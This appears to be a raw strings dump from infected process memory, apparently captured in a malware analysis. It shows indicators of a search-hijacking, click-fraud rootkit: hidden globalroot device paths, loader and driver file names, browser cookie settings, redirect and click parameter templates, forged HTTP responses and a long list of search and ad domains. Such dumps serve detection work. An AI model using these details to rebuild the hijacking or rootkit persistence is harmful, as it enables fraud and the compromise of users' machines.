WinHttpQueryDataAvailable

WinHttpConnect

WinHttpSendRequest

WinHttpOpen

WinHttpOpenRequest

WinHttpReadData

WinHttpReceiveResponse

WinHttpCloseHandle

.text

`.rdata

@.data

.rsrc

trueP

KERNEL32.DLL

ADVAPI32.dll

ole32.dll

OLEAUT32.dll

RASAPI32.dll

SHELL32.dll

SHLWAPI.dll

USER32.dll

WINHTTP.dll

WININET.dll

WS2_32.dll

mscoree.dll

nKERNEL32.DLL

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

WUSER32.DLL

Dr.Web

mhttp=127.0.0.1:%d

hXXp://VVV.yahoo.com

1.0.0.1

svchost.exe_1104_rwx_00930000_0001B000:

Fmsvcrt.dll

%d %d %d %d %d %d

hXXps://

hXXp://

.com/

Global\C3819288-93FA-4E29-A254-BD9476B53C20

cfg.ini

%s\%s

bckfg.tmp

lsflt7.ver

0;225;224;77;38;56;16;74;75

maxhttpredirects

software\microsoft\windows\currentversion\internet settings

enablehttp1_1

software\microsoft\windows\currentversion\internet settings\zones\3

{AEBA21FA-782A-4A90-978D-B72164C80120}

{A8A88C49-5EB2-4990-A1A2-0876022C854F}

Opera\Opera\operaprefs.ini

\profile\operaprefs.ini

\prefs.js

network.cookie.cookieBehavior

Mozilla\Firefox\Profiles\

/login/;/tweet/;action=embed-flash;/faq/;/terms/;/contact/;/Forgotpassword/

hXXp://%s/?xurl=%s&xref=%s

ole32.dll

winmm.dll

atl.dll

oleaut32.dll

clk=%s&bid=%s&aid=%s&sid=%s&rd=%s

n%D,3

Global\6C29A0C8-62C6-415C-9538-B87690BC58D2

lsash.xp

%d|%d|%s|%s

cmd.dll

cmd64.dll

setup.exe

%u|%s

%s=%u|%s

%[^.].%[^(](%[^)])

command|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s

masks|%s

hXXp://NO REF/

.softgeek.

%s#%s

url|%s%s|

%s.dll

kernel32.dll

12345678

0123456789

.text

.rdata

HTTP/1.1 302 Found

Location: %s

HTTP/1.1 200 OK

Content-Length: %d

%sConnection: close

Set-Cookie: %s; expires=%s, u-%s-u u:u:u GMT

urlmon.dll

Global\56684A82-D074-4384-AEB9-D1A40041D9FB

chrome

wermgr.exe

-queuereporting_svc

firefox

opera

Global\B10C62E4-234C-4BF6-A1D5-1C0309CED145

svchost.exe

Global\a68d7de8-eba6-4a54-90e0-9cb9d93b3ed7

Global\cc51461b-e32a-4883-8e97-e0706dc65415

keywords

Accept-Language: %s

%s hXXp://%s/?xurl=%s&xref=%s

%s %s

1.8|%s|%s|%s|%s|%s|%s

software\classes\http\shell\open\command

:"/\|?*

%s-%s

. d SP.%s

google;yahoo;bing.;live.com;msn.com;altavista.com;ask.com;exalead.com;excite.com;dogpile.com;metacrawler.com;webcrawler.com;alltheweb.com;.lycos.;gigablast.com;cuil.com;.aol.;entireweb.com;.search.com;mamma.com;mytalkingbuddy.com;about.com;conduit.com;alexa.com;alltheinternet.com;blinkx.com;aolcdn.com;othersonline.com;everesttech.net;adrevolver.com;tribalfusion.com;adbureau.net;abmr.net;gstatic.com;virtualearth.net;atdmt.com;ivwbox.;powerset.net;yimg.com;2mdn.net;doubleclick.net;iwon.com;scorecardresearch.com;66.235.120.66;66.235.120.67;ytimg.com;infospace.com;edgesuite.net;superpages.com;lygo.com;compete.com;firmserve.com;worthathousandwords.com;yieldmanager.com;wazizu.com;meedea.com;atwola.com;doubleverify.com;tacoda.net;truveo.com;openx.org;adcertising.com;twimg.com;picsearch.com;oneriot.com;.com.com;flickr.com;searchvideo.com;.tqn.com;myspacecdn.com;fimservecdn.com;alexametrics.com

%u|%u

ver=%s&bid=%s&aid=%s&sid=%s&rd=%s&eng=%s&q=%s

hXXp://%s%s

VVV.google.

search.yahoo.com

.altavista.com

/web/results

.ask.com

VVV.exalead.com

/search/web/results

VVV.alltheweb.com

search.lycos.

tab=web

gigablast.com

cuil.com

.aol.

entireweb.com

md=web

VVV.search.com

VVV.mamma.com

mytalkingbuddy.com

searchservice.myspace.com

type=web

search.conduit.com

search.toolbars.alexa.com

alltheinternet.com

/ws/results/web/

?xurl=

http/1.

mozilla

windowsupdate

267374027

1455091621

\\?\globalroot\device\00000ff8\3ebb9051\lsash.xp

%WinDir%\System32\svchost.exe

\\?\globalroot\device\00000ff8\3ebb9051

\\?\globalroot\device\00000ff8\3ebb9051\cfg.ini

WinExec

SHEnumKeyExA

ExitWindowsEx

HttpOpenRequestA

HttpSendRequestA

HttpQueryInfoW

InternetCrackUrlA

`.rdata

@.data

.reloc

rt.dll

https

l\C3819288-93FA-4E29-A254-BD9476]

cfg.inics\

HTTP/1.1 3

%u,bmr

.]TCpP

KERNEL32.DLL

ADVAPI32.dll

imagehlp.dll

ntdll.dll

SHELL32.dll

SHLWAPI.dll

USER32.dll

WININET.dll

WebBrowser

127.0.0.1

.google.

%s-%d

eplorer\iexplore.exe" -nohome

spoolsv.exe_1440_rwx_00F40000_00027000:

.text

`.rdata

@.data

.config

.reloc

t%SSS

N. d SP.

%x%x%x%x%x%x

%s|%s|%s|%x|%x|%s|%x|%x|prn15

%[^;];%[^;];%[^;];

kernel32.dll

ntdll.dll

\\?\globalroot\systemroot\system32\kernel32.dll

%s\cfg.ini

%s\config.ini

%s\drv32

cmd.dll

%s\bckfg.tmp

%s\cmd.dll

%s\cmd64.dll

%[^|]|%[^|]|%s

system\currentcontrolset\services\%x

\\?\globalroot%s\cmd.dll

\\?\globalroot%s\cfg.ini

\\?\globalroot%s\bckfg.tmp

%d.%d.%d %d:%d:%d

\\?\globalroot%s\ldr16

\\?\globalroot%s\ldr32

\\?\globalroot%s\ldr64

\\?\globalroot%s\drv64

\\?\globalroot%s\cmd64.dll

cmd64.dll

\\?\globalroot%s\drv32

\\?\globalroot\systemroot\system32\kdcom.dll

\\?\globalroot\systemroot\system32\hal.dll

\\?\globalroot\systemroot\system32\ntoskrnl.exe

\\?\globalroot\systemroot\system32\drivers\etc\hosts

aid=%s

sid=%s

installdate=%s

*=cmd.dll

* (x64)=cmd64.dll

[cmd]

srv=%s

wsrv=%s

psrv=%s

cfg.ini

bckfg.tmp

ZwConnectPort

spoolsv.exe

GetWindowsDirectoryW

KERNEL32.dll

RegCreateKeyA

RegCloseKey

ADVAPI32.dll

SHDeleteKeyA

SHLWAPI.dll

imagehlp.dll

PSAPI.DLL

RPCRT4.dll

InternetCrackUrlA

HttpOpenRequestA

HttpSendRequestA

WININET.dll

ShellExecuteW

SHELL32.dll

ole32.dll

WINSPOOL.DRV

.pnLu

`.reloc

kdcom.dll

ntoskrnl.exe

`.pdata

w_.KU

!X5D2

fm^%fS

P.nG

>g?.yC

.PFkX

:F-I}|

.JOf~

O.BY#

\{x-x-x-x-xx}

\registry\machine\%S

\??\physicaldrive%d

services.exe

\??\globalroot\systemroot\system32\tasks\%x

\\?\globalroot%s

%s.manifest

%s\setup%u.exe

r\\?\globalroot%s

spoolsv.exe_1440_rwx_01370000_00046000:

.itext

@.text

`.data

.edata

@.rdata

@.rsrc

@.reloc

COMCTL32.dll

SetViewportOrgEx

GDI32.dll

SHLWAPI.dll

MapVirtualKeyExA

GetKeyState

VkKeyScanW

USER32.dll

comdlg32.dll

KERNEL32.dll

H:\KyRSDCa\lzwjh\vgfdh.pdb

Û|

iY.VTSX

RsOoILQrEUIk.exe

9-O}R3

9.jit

-0}ML

.ISLSH

: /%u

.NAd8

1v&.ssP

1%1*10151\1

3/353?3\3

5"5)5/595

F:\gjkLHJjfhkjl\LKJDkljkdlj\KJDFj.hhg

Tzbpmsgomvpcbivtdqrz

Uundmaxgpzdexevsrbb